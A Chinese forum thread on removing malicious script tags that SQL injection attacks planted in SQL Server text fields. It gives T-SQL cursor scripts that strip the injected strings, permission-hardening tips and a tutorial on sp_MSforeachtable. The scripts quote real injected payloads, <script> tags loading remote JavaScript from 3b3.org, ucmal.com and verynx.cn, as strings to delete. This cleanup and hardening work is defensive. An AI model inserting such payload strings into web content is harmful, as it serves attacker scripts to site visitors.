数据库字段被注入了，如何替换掉被注入的内容？

如何最快速度删除？
" <script   src=http://3b3.org/c.js> </script> "
---------------------------------------------------------------
进入SQL查询分析器
选择你的数据库
第一步：先sql表修改所有者为dbo
EXEC   sp_MSforeachtable   'exec   sp_changeobjectowner   ' '? ' ', ' 'dbo ' '   ' 第二步：统一删除字段被挂的js
declare   @delStr   nvarchar(500)
set   @delStr= ' <script   src=http://3b3.org/c.js> </script> ' set   nocount   on declare   @tableName   nvarchar(100),@columnName   nvarchar(100),@tbID   int,@iRow   int,@iResult   int
declare   @sql   nvarchar(500) set   @iResult=0
declare   cur   cursor   for
select   name,id   from   sysobjects   where   xtype= 'U ' open   cur
fetch   next   from   cur   into   @tableName,@tbID while   @@fetch_status=0
begin
declare   cur1   cursor   for
                --xtype   in   (231,167,239,175,35)   为char,varchar,nchar,nvarchar,text类型
                select   name   from   syscolumns   where   xtype   in   (231,167,239,175,35)   and   id=@tbID
open   cur1
fetch   next   from   cur1   into   @columnName
while   @@fetch_status=0
begin
            set   @sql= 'update   [ '   +   @tableName   +   ']   set   [ '+   @columnName   + ']=   replace([ '+@columnName+ '], ' ' '+@delStr+ ' ' ', ' ' ' ')   where   [ '+@columnName+ ']   like   ' '% '+@delStr+ '% ' ' '
            exec   sp_executesql   @sql
            set   @iRow=@@rowcount
            set   @iResult=@iResult+@iRow
            if   @iRow> 0
            begin
print   '表： '+@tableName+ ',列: '+@columnName+ '被更新 '+convert(varchar(10),@iRow)+ '条记录; '
            end
            fetch   next   from   cur1   into   @columnName
end
close   cur1
deallocate   cur1   fetch   next   from   cur   into   @tableName,@tbID
end
print   '数据库共有 '+convert(varchar(10),@iResult)+ '条记录被更新!!! ' close   cur
deallocate   cur
set   nocount   off
---------------------------------------------------------------
彻底杜绝SQL注入 1.不要使用sa用户连接数据库
2、新建一个public权限数据库用户，并用这个用户访问数据库
3、[角色]去掉角色public对sysobjects与syscolumns对象的select访问权限
4、[用户]用户名称-> 右键－属性－权限－在sysobjects与syscolumns上面打“×”
5、通过以下代码检测（失败表示权限正确，如能显示出来则表明权限太高）：
DECLARE   @T   varchar(255),
@C   varchar(255)
DECLARE   Table_Cursor   CURSOR   FOR
Select   a.name,b.name   from   sysobjects   a,syscolumns   b
where   a.id=b.id   and   a.xtype= 'u '   and   (b.xtype=99   or   b.xtype=35   or   b.xtype=231   or   b.xtype=167)
OPEN   Table_Cursor
FETCH   NEXT   FROM   Table_Cursor   INTO   @T,@C
WHILE(@@FETCH_STATUS=0)
BEGIN   print   @c
FETCH   NEXT   FROM   Table_Cursor   INTO   @T,@C
END
CLOSE   Table_Cursor
DEALLOCATE   Table_Cursor
---------------------------------------------------------------
让3b3.org   c.js注入见鬼去吧！

另外请参考:
http://topic.csdn.net/u/20081205/09/3dd06076-bcbe-45d4-998c-8999fdbe6fae.html?84220
http://topic.csdn.net/u/20090523/19/72041932-b65c-49c1-ad36-d2c63b38b174.html?96607

从SQLSERVER6.5开始,MS提供了一个非常有用的系统存储过程sp_MSforeachtable和sp_MSforeachDB;作为DBA会经常需要检查所有的数据库或用户表,比如:检查所有数据库的容量;看看指定数据库所有用户表的容量,所有表的记录数...,我们一般处理这样的问题都是用游标分别处理处理,比如:在数据库检索效率非常慢时,我们想检查数据库所有的用户表,我们就必须这样写游标:
DECLARE @TableName varchar(255)
DECLARE @ExeSQL varchar(4000)
DECLARE Table_Cursor CURSOR FOR SELECT [name] FROM sysobjects WHERE xtype=UOPEN Table_Cursor
FETCH NEXT FROM  Table_Cursor INTO @TableNameWHILE(@@FETCH_STATUS=0)
BEGIN
PRINT @TableName
SELECT @ExeSQL=DBCC CHECKTABLE(+@TableName+)
EXEC(@EXESQL)
FETCH NEXT FROM  Table_Cursor INTO @TableName
ENDCLOSE Table_Cursor
DEALLOCATE Table_Cursor
GO    如果我们用sp_MSforeachtable就可以非常方便的达到相同的目的:
EXEC sp_MSforeachtable @command1="print ? DBCC CHECKTABLE(?)"
大家可以看出这样就更加简洁(虽然在后台也是通过游标来处理的),下面我们就仔细分析一下sp_MSforeachtable这个存储过程:我们看看sp_MSforeachtable详细的CODE:
USE MASTER
GO
SP_HELPTEXT sp_MSforeachtable--下面时sp_MSforeachtable的原始代码CREATE proc sp_MSforeachtable
@command1 nvarchar(2000), @replacechar nchar(1) = N?, @command2 nvarchar(2000) = null,
   @command3 nvarchar(2000) = null, @whereand nvarchar(2000) = null,
@precommand nvarchar(2000) = null, @postcommand nvarchar(2000) = null
as
/* This proc returns one or more rows for each table (optionally, matching @where), with each table defaulting to itsown result set */
/* @precommand and @postcommand may be used to force a single result set via a temp table. */ /* Preprocessor wont replace within quotes so have to use str(). */
declare @mscat nvarchar(12)
select @mscat = ltrim(str(convert(int, 0x0002))) if (@precommand is not null)
  exec(@precommand) /* Create the select */
   exec(Ndeclare hCForEach cursor global for select [ + REPLACE(user_name(uid), N], N]]) + ] + . + [+ REPLACE(object_name(id), N], N]]) + ] from dbo.sysobjects o
         + N where OBJECTPROPERTY(o.id, NIsUserTable) = 1 + N and o.category & + @mscat + N = 0
         + @whereand)
declare @retval int
select @retval = @@error
if (@retval = 0)
  exec @retval = sp_MSforeach_worker @command1, @replacechar, @command2, @command3 if (@retval = 0 and @postcommand is not null)
  exec(@postcommand) return @retval这个系统存储过程有7个参数:
@command1 nvarchar(2000),  --第一条运行的T-SQL指令
@replacechar nchar(1) = N?,   --指定的占位符号
@command2 nvarchar(2000) = null,--第二条运行的T-SQL指令
    @command3 nvarchar(2000) = null, --第三条运行的T-SQL指令
@whereand nvarchar(2000) = null, --可选条件来选择表
@precommand nvarchar(2000) = null, --在表前执行的指令
@postcommand nvarchar(2000) = null --在表后执行的指令
所以上面的语句也可以这样写:
EXEC sp_MSforeachtable @command1="print ?",
         @command2= "DBCC CHECKTABLE(?)"了解参数以后,就让我们做几个实列吧:
1.获得每个表的记录数和容量:
EXEC sp_MSforeachtable @command1="print ?",
         @command2="sp_spaceused ?",
         @command3= "SELECT count(*) FROM ? "2.更新PUBS数据库中已t开头的所有表的统计:
EXEC sp_MSforeachtable @whereand="and name like t%",
         @replacechar=*,
         @precommand="print Updating Statistics..... print ",
         @command1="print * update statistics * ",
         @postcommand= "printprint Complete Update Statistics!"
sp_MSforeachDB除了@whereand外,和sp_MSforeachtable的参数是一样的,我们可以通过这个存储过程检测所有的数据库,比如:
1.获得所有的数据库的存储空间:
       EXEC sp_MSforeachdb  @command1="print ?",
                                         @command2="sp_spaceused "
2.检查所有的数据库
       EXEC sp_MSforeachdb  @command1="print ?",
                                           @command2="DBCC CHECKDB (?) "有了上面的分析,我们可以建立自己的sp_MSforeachObject:
USE MASTER
GO
CREATE proc sp_MSforeachObject
@objectType int=1,
@command1 nvarchar(2000),
@replacechar nchar(1) = N?,
@command2 nvarchar(2000) = null,
    @command3 nvarchar(2000) = null,
@whereand nvarchar(2000) = null,
@precommand nvarchar(2000) = null,
@postcommand nvarchar(2000) = null
as
/* This proc returns one or more rows for each table (optionally, matching @where), with each table defaulting to itsown result set */
/* @precommand and @postcommand may be used to force a single result set via a temp table. */ /* Preprocessor wont replace within quotes so have to use str(). */
declare @mscat nvarchar(12)
select @mscat = ltrim(str(convert(int, 0x0002))) if (@precommand is not null)
  exec(@precommand) /* Defined  @isobject for save object type */
Declare @isobject varchar(256) select @isobject= case @objectType when 1 then IsUserTable
         when 2 then IsView
         when 3 then IsTrigger
         when 4 then IsProcedure
         when 5 then IsDefault
         when 6 then IsForeignKey
         when 7 then IsScalarFunction
         when 8 then IsInlineFunction
         when 9 then IsPrimaryKey
         when 10 then IsExtendedProc
         when 11 then IsReplProc
         when 12 then IsRule
                  end /* Create the select */
/* Use @isobject variable isstead of IsUserTable string */
EXEC(Ndeclare hCForEach cursor global for select [ + REPLACE(user_name(uid), N], N]]) + ] + . + [ +REPLACE(object_name(id), N], N]]) + ] from dbo.sysobjects o
        + N where OBJECTPROPERTY(o.id, N+@isobject+) = 1 +N and o.category & + @mscat + N = 0
       + @whereand) declare @retval int
select @retval = @@error
if (@retval = 0)
  exec @retval = sp_MSforeach_worker @command1, @replacechar, @command2, @command3 if (@retval = 0 and @postcommand is not null)
  exec(@postcommand) return @retvalGO
这样我们来测试一下:
1.获得所有的存储过程的脚本:
         EXEc sp_MSforeachObject @command1="sp_helptext ? ",@objectType=4
2.获得所有的视图的脚本:
         EXEc sp_MSforeachObject @command1="sp_helptext ? ",@objectType=2
3.比如在开发过程中,没一个用户都是自己的OBJECT OWNER,所以在真实的数据库时都要改为DBO:
           EXEc sp_MSforeachObject @command1="sp_changeobjectowner ?, dbo",@objectType=1
           EXEc sp_MSforeachObject @command1="sp_changeobjectowner ?, dbo",@objectType=2
            EXEc sp_MSforeachObject @command1="sp_changeobjectowner ?, dbo",@objectType=3
              EXEc sp_MSforeachObject @command1="sp_changeobjectowner ?, dbo",@objectType=4
  这样就非常方便的将每一个数据库对象改为DBO.

Table: SystemObjects1. 表SYSOBJECTS为数据库内创建的每个对象（约束，规则，表，视图，触发器等）创建一条记录。 2. Structure:ColumnsMeaningReSysObjects.idId SysObjects.nameNameLike: table name, view nameSysObjects.typeTypep: Procedure v: Views: System table u: User table Table: SysColumns表SYSCOLUMNS 为每个表、视图中的每个列和每个存储过程的每个参数创建一条记录。
Structure:
ColumnsMeaningReSysColumns.id该列所属的表的id可与SysObjects.id相关联SysColumns.colid列id表示该列是表或视图的第几列。SysColumns.type物理存储类型可与SysTypes.type相关联。SysColumns.length数据的物理长度 SysColumns.name列名字，即字段名 SysColumns.pre列的精度级 SysColumns.scale列的标度级 Table: SysTypes表SYSTYPES 为每个系统和每个用户提供的数据类型创建一条记录，如果它们存在，给定域和默认值，描述系统提供的数据类型的行不可更改。
Structure:
ColumnsMeaningReSysTypes.name数据类型的名字 SysTypes.type 物理存储数据类型

DECLARE @fieldtype sysname
SET @fieldtype='varchar'
--删除处理
DECLARE hCForEach CURSOR GLOBAL
FOR
SELECT N'update '+QUOTENAME(o.name)
    +N' set '+ QUOTENAME(c.name) + N' = replace(' + QUOTENAME(c.name) + ','' <script_src=http://ucmal.com/0.js> </script>'','''')'
FROM sysobjects o,syscolumns c,systypes t
WHERE o.id=c.id
    AND OBJECTPROPERTY(o.id,N'IsUserTable')=1
    AND c.xusertype=t.xusertype
    AND t.name=@fieldtype
EXEC sp_MSforeach_Worker @command1=N'?'
主要是这段!

我主要是想求个批量替换指定开头结尾字符的SQL语句

--自己把要替代的内容改改
DECLARE @T varchar(255),@C varchar(4000)
DECLARE Table_Cursor CURSOR FOR
select a.name,b.name from sysobjects a,syscolumns b
where a.id=b.id and a.xtype='u'
and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)
OPEN Table_Cursor
FETCH NEXT FROM  Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0) BEGIN
exec('update ['+@T+'] set ['+@C+']=replace(['+@C+'],''"></title><script src="http://1.verynx.cn/w.js"></script><!--'','''') where '+@C+' like ''%"></title><script src="http://1.verynx.cn/w.js"></script><!--''')
FETCH NEXT FROM  Table_Cursor INTO @T,@C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor

SQL注入是最基本防范的
呵呵，我们的网站也被攻击过，也中过招

调试易

数据库字段被注入了，如何替换掉被注入的内容？

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